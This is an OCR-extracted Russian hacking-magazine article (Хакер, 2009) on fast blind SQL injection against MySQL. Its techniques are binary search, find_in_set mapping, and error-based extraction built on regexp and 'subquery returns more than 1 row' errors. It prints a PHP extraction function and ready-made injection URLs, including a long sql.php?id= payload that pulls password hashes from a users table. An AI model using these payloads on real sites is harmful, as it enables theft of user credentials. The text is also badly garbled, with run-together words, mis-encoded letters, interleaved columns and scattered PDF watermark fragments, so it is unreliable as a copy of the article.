 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МЕТОДСРАБОТАЛЗА48 ЗАПРОСОВ, ОЧЕНЬНЕПЛОХО!

СКОРОСТЬРАБОТЫБЬЕТВСЕРЕКОРДЫ

НАВИКИПЕДИИМОЖНОНАЙТИПРОСТОЕИПОНЯТНОЕОПИСАНИЕ МЕТОДАБИНАРНОГОПОИСКА:)

КОДЭКСПЛОЙТА, ИСПОЛЬЗУЮЩЕГОДВОИЧНЫЙПОИСК

ДЛЯХАКЕРАОШИБКА– БОЛЬШЕ, ЧЕМПРОСТООШИБКА

Аеслирассматриватьреализациюнаязыке программирования,товотпримерфункции,реализующейпоискнужногосимволаэтимметодом:

returns/', $res) { echo $j; continue;

}

}

Принципработыпрост—длякаждогосимвола сравниваемзначениеегоASCII-кодасовсеми возможнымизначениямисимволов.Есливыполняетсянекотороеусловие,тосимволнайден, иегоможновыводитьнаэкран.Еслиусловиене выполняется—ищемдальше.

Очевидно,чтоплюсовуэтогометоданет.Совсем. Заисключениемтого,чтонакалякатькодтакого скриптаоченьпросто.Норазвеэтото,чтонужно настоящемухакеру?Оставимэтотспособкиддисамибудемдвигатьсядальше.

БИНАРНЫЙ (ДВОИЧНЫЙ) ПОИСК

Каждыйуважающийсебяпрограммистзнаето методеподназваниембинарный,илидвоичный,поиск.Этотметодиспользуетсядляпоиска позицииэлементавотсортированноммассиве.И

 

 

function getChar($url, $field,

именноонприменяетсяпочтивовсехадекватных

 

$pos, $lb=0, $ub=255) {

скриптах,программахиэксплойтах,работающих

 

while(true) {

сослепымиSQL-инъекциями.

 

$M = floor($lb + ($ub-$lb)/2);

Алгоритмработаетследующимобразом:

 

if(cond($url, $field, '<', $pos,

 

 

$M)==1) {

1. Берем диапазон всех возможных

 

$ub = $M — 1;

символов (для хеша MD5 — [0-9,a-f])

 

}

и сравниваем значение кода символа в

 

else if(cond($url, $field, '>',

БД с кодом символа, который мы пере-

 

$pos, $M)==1) {

дали в запросе

 

$lb = $M + 1;

2. Если код символа в БД больше,

 

}

чем код переданного символа, то на

 

else

следующем шаге в качестве диапазона

 

return chr($M);

возможных символов берем диапазон

 

 

от символа, с которым мы только что

 

if($lb > $ub)

сравнивали значение в БД, до правой

 

return -1;

границы предыдущего диапазона и идем

 

}

íà øàã 1

 

}

3. Если код символа меньше, то берем

 

 

Рассмотримэтотспособнапримереполученияиз

диапазон от текущего символа до ле-

вой границы диапазона на предыдущем

базыMD5-хешаюзера.Приэтомучтемследую-

øàãå è èäåì íà øàã 1

щиеусловия:

4. Если символ не больше и не меньше,

1.Диапазонвозможныхсимволов:0,1,2,3,4,5,6,7,

то мы как раз его и нашли

8,9,a,b,c,d,e,f.

 

 

 

XÀÊÅÐ 07 /127/ 09

065

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ФУНКЦИЯFIND_IN_SET СОБСТВЕННОЙПЕРСОНОЙ

 

 

 

 

 

 

2.ВБДнаходитсясимвол:'b'.

 

 

 

 

 

 

Запускаемалгоритм:

 

 

 

 

 

 

HTTP://WWW

 

 

1) Находим середину диапазона [0,1,2,3,4,5,6,7,

 

links

8,9,a,b,c,d,e,f]; серединой является символ '8'

 

2) Сравниваем, – код символа 'b' больше или

https://forum.

меньше, чем код символа '8'? (шлем запрос)

antichat.ru/

3) Код больше, поэтому на следующую итерацию

thread43966.html

уже берем диапазон [8,9,a,b,c,d,e,f]; середи-

всеоSQL Injection.

ной является символ 'с'

dev.mysql.com/

4) Сравниваем, – код символа 'b' больше или

sources/doxygen/

меньше, чем код символа 'с'? (шлем запрос)

mysql-5.1/

5) Код меньше, поэтому на следующую итерацию

regerror_8c-source.

берем диапазон [8,9,a,b,c]; серединой являет-

html — исходники

ся символ 'a'

MySQL, отвечающие

6) Сравниваем, – код символа 'b' больше, чем

заотображениеоши-

код символа 'a'? (шлем запрос)

бокregexp.

7) Код больше, поэтому на следующую итерацию

dev.mysql.com/doc

берем диапазон [a,b,c]; серединой является

— документацияпо

символ 'b'

MySQL (рекомендую).

8) Сравниваем, – код символа 'b' больше или

ru.wikipedia.org/

меньше, чем код символа 'b'? (шлем запрос)

wiki/Двоичный_по-

9) Код ни больше и не меньше, значит, символ в

иск— базовыеалго-

ÁÄ = 'b'

римынадознать!

 

Такимобразом,взависимостиотконкретнойреализации

 

 

 

 

 

 

 

 

 

 

 

 

алгоритма,мыотправляемдо5-6запросовнаопределение

 

 

 

 

 

 

символа.Иэтовхудшемслучае,таккаксимвол можетнайтись

 

 

 

 

 

 

ираньше.Итогополучаемпримерно160-170запросовна

 

WARNING

 

 

 

 

получениеMD5-хеша.Ужелучше,нозачемостанавливатьсяна

 

 

 

 

 

 

достигнутом,еслиможнодействоватьеще быстрее?

warning

ИСПОЛЬЗОВАНИЕ FIND_IN_SET()

Внимание! Инфор-

И ПОДОБНЫХ ФУНКЦИЙ

мацияпредставлена

Функцияfind_in_set(str,strlist)используетсядляпоискапод-

исключительно

строкисредиспискастрок,разделенныхсимволом','ивозвра-

сцельюознаком-

щаетномертойстрокиизсписка,котораяравнапереданному

ления! Ниавтор, ни

аргументу.Тоесть:

редакциязатвои

 

действияответствен-

mysql> SELECT FIND_IN_SET('b','a,b,c,d');

ностиненесут!

-> 2

 

 

 

Кодсимволаизбазыданныхможноузнатьприпомощизапроса:

 

 

 

select find_in_set((substring((select

 

password from users limit 1),1,1)),'0,1,2,3,4

 

 

ОШИБКИREGEXP ВИСХОДНЫХКОДАХ

MYSQL

,5,6,7,8,9,a,b,c,d,e,f');

Врезультатемыполучаемномерсимволавомножестве'0,1,2 ,3,4,5,6,7,8,9,a,b,c,d,e,f'.Кпримеру,длясимвола'b',этотзапрос вернет12.

Атеперьподумаем,чтожеможноизэтоговыжать?Длятого чтобыпринятьрезультатызапроса,мыдолжныкак-тонаучиться приниматьчисла,являющиесярезультатом.Нонепосредствен- ноприслепойSQL-инъекциимыэтогосделатьнеможем.Ачто, еслимыимеемделосинъекцией,кпримеру,вскриптеотображенияновостей,ивзависимостиотid,переданногоскрипту, будемвидетьразныестранички?Тогдабоевойзапрос,нужный дляполучениясимволовизMD5,будетвыглядетьвоттак:

news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3, 4,5,6,7,8,9,a,b,c,d,e,f')

Тогда,взависимостиотномерасимволавстроке'0,1,2,3,4,5,6,7 ,8,9,a,b,c,d,e,f',мыбудемвидетьновостьсid,соответствующим символупароля.

Дляудобстваиспользованиянапрактикенужно:

1)Выделить ключевые слова на страницах с нужными id

2)Отправить запросы с find_in_set для каждого символа из БД

3)Выяснить, страницу с каким id мы получили и вывести на экран код символа

Тоесть,дляполученияMD5-хешанампотребуетсявыявить16 страницсуникальнымиid,пооднойстраницедлякаждогосимволаалфавита,атакжеотправить32запросадляопределения значениякаждогосимвола.Витоге,прииспользованииэтого методанампотребуетсяотправитьвсего48запросовнасервер, 16изкоторыхникакогоподозрениячитающегологиадмина вызватьнемогут.Изначальноэтотметодпредложили+toxa+и madnet.Онижезаметили,чтопомимофункцииfind_in_setдля реализацииподобнойатакиможноиспользоватьфункции

LOCATE(),INSTR(),ASCII(),ORD().Причем,ASCII()иORD()даже предпочтительнеезасчеттого,чтоониприсутствуютне тольковMySQL.Способработаетбыстро,нообладаетрядом недостатков.Кпримеру,насайтеидентификаторыновостей могутбытьраспределенынеравномерно,тоестьскрипт приходитсязатачиватьподкаждыйсайтиндивидуально.Еще однойпроблемойявляетсято,чтодлябольшогоколичества символоввалфавитенужнобольшоеколичествоуникальных страниц,которыеневсегдаприсутствуют.Вобщем,мотаемна усидвигаемсядальше.

066

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ИСПОЛЬЗОВАНИЕFIND_IN_SET() + MORE1ROW

Еслихорошенькопоигратьсясметодом,предложеннымвыше, можнозаметить,чтовсеегоминусысводятсяктому,чтодалеко ненавсехсайтахвозможнополучитьдостаточноеколичество различныхстраниц,зависящихотодногопараметра.Решимэту проблему.Вспомнимметод,предложенныйElekt'омв][#111, которыйоснованнаиспользованииошибки«Subqueryreturns morethan1row».Сутьметодазаключаетсявтом,чтобызаставитьскриптвыводитьошибкуSQLвзависимостиотрезультата SQL-запроса.Наданныймомент,чтобыспровоцироватьБДна выводошибки,наиболеечастоиспользуетсязапрос:

SELECT 1 UNION SELECT 2

–которыйвернетошибку:

#1242 — Subquery returns more than 1 row

ТакжеZaCoнашелальтернативныйвариантзапроса,который провоцируетБДнавыводошибкивзависимостиотусловия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

ПРИМЕРЭКСПЛОЙТА, НАПИСАННОГОЯВНОНОВИЧКОМ

select 1 regexp if(1=1,'(',2)

INFO

#1139 — Got error 'parentheses not balanced'

from regexp

 

Втомслучае,есливерсияMySqlнеравна5,этотзапросвернет

 

select 1 regexp if(1=1,'[2-1]',2)

ошибку:

 

#1139 — Got error 'invalid character range'

 

 

 

from regexp

 

#1139 — Got error 'invalid repetition

 

 

 

count(s)' from regexp.

 

select 1 regexp if(1=1,'[[.ch.]]',2)

 

 

 

#1139 — Got error 'invalid collating element'

НемногопорывшисьвисходникахMySqlипогуглив,можно

 

from regexp

найтиеще9ошибок,которыевозвращаетнеправильный

 

 

regexp.Итого,отсерверамыможемполучить11видовошибок+

 

select 1 regexp if(1=1,'\\',2)

1состояние,когдаошибкинет:

 

#1139 — Got error 'trailing backslash (\)' from

 

 

 

regexp

 

SELECT 1

 

 

 

No error

 

Покапростопримемэтововнимание.Теперьсамоевремя

 

select if(1=1,(select 1 union select 2),2)

 

вспомнитьофункцииfind_in_set.Еслиискомыйсимволестьво

 

 

 

множествеподстрок,онавернетномерподстроки,еслинет—

 

#1242 — Subquery returns more than 1 row

 

вернет0. Попробуемпривязатьрезультатработыэтойфункции

 

select 1 regexp if(1=1,"x{1,0}",2)

 

кразличнымкодамошибокипередадимвоттакойзапрос:

 

 

 

 

 

#1139 — Got error 'invalid repetition

 

select * from users where id=-1

 

count(s)' from regexp

 

AND "x" regexp

 

select 1 regexp if(1=1,"x{1,(",2)

 

concat("x{1,25",

 

 

 

if(

 

#1139 — Got error 'braces not balanced' from

 

find_in_set(

 

regexp

 

substring((select passwd from users where

 

select 1 regexp if(1=1,'[[:]]',2)

 

id=1),1,1),

 

 

 

'a,b,c,d,e,f,1,2,3,4,5,6'

 

#1139 — Got error 'invalid character class'

 

)>0,

 

from regexp

 

(select 1 union select 2),

 

select 1 regexp if(1=1,'[[',2)

 

"6}"

 

 

 

)

 

#1139 — Got error 'brackets ([ ]) not balanced'

 

)

 

from regexp

 

 

 

 

Врезультате,еслипервыйсимволпаролянаходитсявомно-

 

select 1 regexp if(1=1,'(({1}',2)

 

 

 

 

жестве'a,b,c,d,e,f,1,2,3,4,5,6',тозапросвернет:

 

#1139 — Got error 'repetition-operator operand

 

 

 

invalid' from regexp

 

#1242 — Subquery returns more than 1 row

 

select 1 regexp if(1=1,'',2)

 

 

 

 

Аеслиненаходится,то:

 

 

 

 

#1139 — Got error 'empty (sub)expression' from

 

 

 

regexp

 

#1139 — Got error 'invalid repetition

 

 

 

 

info

Большим

преимуществом последнегоизперечисленныхметодов являетсято, чтоон стемжеуспехом можетработать

ивINSERT,

ивUPDATE запросах.

DVD

dvd

Надискетысможешь

найтискриптыдля работысSQL-инъек- циямисиспользованиемописанных встатьеметодов.

XÀÊÅÐ 07 /127/ 09

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

алфавита по группам

 

 

2. Установить соответствия между

 

 

номером группы и возвращаемым кодом

 

 

ошибки

 

 

3. По возвращенному коду ошибки

 

 

выяснить, в какой группе находится

 

 

символ из БД

 

 

4. Если в этой группе только один

 

 

символ, то выводим его на экран; если

ЭКСПЛОЙТЫДЛЯBLIND SQL

 

больше, чем один символ, то распре-

INJECTION ПИШУТСЯПОЧТИ

 

делим символы из группы по состояни-

ЕЖЕДНЕВНО

 

ям и возвращаемся к шагу 2

 

 

 

 

 

Всоответствиисалгоритмомсоставляемзапрос.

count(s)' from regexp

Изамечаем,чтоошибки,которыемысобираемся

 

использовать,обладаютпаройособенностей.

 

Прикаждомзапросепокодуошибкимыможем

Перваязаключаетсявтом,чтозапрос

узнать,ккакойгруппепринадлежитсимвол!На-

 

 

пишемскрипт,использующийданныйметод.Для

 

"x" regexp concat("x{1,25", if(@@

составленияоптимальногозапросанужносгруп-

 

version<>5, "5}", "6}")

пироватьсимволыалфавитатак,чтобыколичес-

 

 

 

 

твообращенийксерверубыломинимальным.

вернетнужнуюнамошибку,толькоеслимыего

РассмотримзадачунапримереMD5.Мызнаем,

будемпередаватьнасерверименновтакомвиде.

чтоунасмогутприсутствоватьтолькосимволыиз Тоесть,всевложенныеусловиянужнодобавлять диапазона[0-9,a-f].Такжемызнаем,чтоколичест- внутрьэтогоif,атакжевначалевсехостальных

вогруппсимволовравнодвенадцати,ведьвсего

 

выраженийregexpнужнодобавлятьсимвол«}».

нашзапросможетвернутьодиннадцатьвидов

 

Иначе,независимоотсодержанияостальных

ошибокиодносостояние,когдаошибкинет.

 

подзапросов,мыбудемполучатьлишьошибку:

ДляслучаясMD5оптимальнойрасстановкой

 

«#1139—Goterror'repetition-operatoroperand

символовпосостояниям,кпримеру,будет:

 

invalid'fromregexp».

 

 

Втораяособенностьзаключаетсявтом,чтозапрос

[01]: '0','b','c','d','e','f'

 

 

[02]: '1'

 

select 1 regexp if(1=1,'',2) ,

[03]: '2'

 

 

 

возвращающийошибку«Goterror'empty(sub)

[04]: '3'

 

[05]: '4'

 

expression'fromregexp»,работает,какхочется

[06]: '5'

 

нам,толькоприналичиипустогоподзапросав

[07]: '6'

 

regexpилитак:'a|',когдапослесимвола'|'отсутст-

[08]: '7'

 

вуетчтобытонибыло.Поэтому,сучетомпервой

[09]: '8'

 

особенности,будемиспользоватьименноэтот

[10]: '9'

 

видподзапроса.

[11]: 'a'

 

Теперьпопробуемсобратьвсюизвестнуюнамин-

 

 

формациювместе,идлявыуживанияMD5-хеша

 

Прикаждомзапросексерверумыузнаемномер

 

получаемитоговыйзапрос:

группы, вкоторойнаходитсясимвол, храня-

 

 

щийсявБД. Витоге, еслисимволнаходится

 

sql.php?id=1+AND+"x"+

вгруппах02-11, — мы узнаемзначениеэтого

 

regexp+concat("x{1,25",+(if(find

символаспомощьювсегоодногозапроса. Если

 

_in_set(substring((select+pass+fro

намнеповезлоисимволнаходитсявгруппе01,

 

m+users+limit+0,1),1,1),'0,c,d,e,f

топередотправкойследующегозапросарас-

 

,1,2,3,4,5,6,7,8,9,a'),

сортируемсимволыизэтойгруппыпосостояни-

 

(if(find_in_set(substring((select+

ямисразужеузнаемзначениеинтересующего

 

pass+from+users+limit+0,1),1,1),'0

нассимвола:

 

,c,d,e,f,1,2,3,4,5,6,7,8,9'),

 

 

(if(find_in_set(substring((select+

[01]: '0'

 

pass+from+users+limit+0,1),1,1),'0

[02]: 'b'

 

,c,d,e,f,1,2,3,4,5,6,7,8'),

[03]: 'c'

 

(if(find_in_set(substring((select+

[04]: 'd'

 

pass+from+users+limit+0,1),1,1),'0

[05]: 'e'

 

,c,d,e,f,1,2,3,4,5,6,7'),

[06]: 'f'

 

(if(find_in_set(substring((select+

 

 

pass+from+users+limit+0,1),1,1),'0

Итоговыйалгоритмработыпоэтомуметодувыгля-

 

,c,d,e,f,1,2,3,4,5,6'),

дитнесложно:

 

(if(find_in_set(substring((select+

 

 

pass+from+users+limit+0,1),1,1),'0

1. Оптимально распределить символы

 

,c,d,e,f,1,2,3,4,5'),

 

 

 

(if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f'),

('}'),

(select+1+union+select+2))),

'}x{1,0}')),

'}x{1,(')),

'}[[:]]')),

'}[[')),

'}(({1}')),

'}|')),

'}(')), '}[2-1]')), '}[[.ch.]]')), '}\\'))) +--+1

Врезультате,этотзапросневернетошибки,если символизбазыданныхявляетсяоднимизсимво-

лов'0,c,d,e,f',авернетошибку«Subqueryreturns morethan1row»,есливбазеданныхлежитцифра 1.Такжезапросвернетошибку'invalidrepetition count(s)',есливбазележитсимвол'2'.Итакдалее. Итак, мыдобилисьтого, чегохотели— запрос припомощи11 различныхвидовошибок сообщаетнам, какойименносимволлежитв базеданных. Мыполучаембыстродействие, превышающеескоростьработывсехостальныхметодовработысBlind SQL Injection. Для выуживанияMD5-хешанампотребуетсяоколо 42 запросов, аэтоуженапорядокбыстрее, чемвтехметодах, которыеиспользуютсейчас. Малотого, еслинайтиеще4 запроса, при которыхошибкабудетвозникатьвовремя выполнения, тонаполучениевсегохешанам потребуетсяуже32 запроса. Аэтозначит– 1 запросна1 символ. Раньшеоподобномможно былотолькомечтать.

Понятно,чтоподобныеSQL-обращениякрайне тяжелосоставлятьвручную,поэтомунадиске тынайдешьскрипт,которыйумеетсоставлять

запросыдляалфавитовлюбойдлиныиприлюбом количествеизвестныхошибок

OUTRO

Насамомделе,существуютещевозможностиуско- ритьпроцессработысослепымиSQL-инъекциями. Осталосьтолькоихнайти.Главное,незацикливатьсяна«дедовских»методах.Относитьсяковсему,что придумалихакерыпредыдущихпоколений,надо, каккдеталяммозаики,сложивкоторыевоедино, можновыйтинасовершенноновыйуровень развитиятехнологийвзлома.z

068

XÀÊÅÐ 07 /127/ 09

Соседние файлы в папке журнал хакер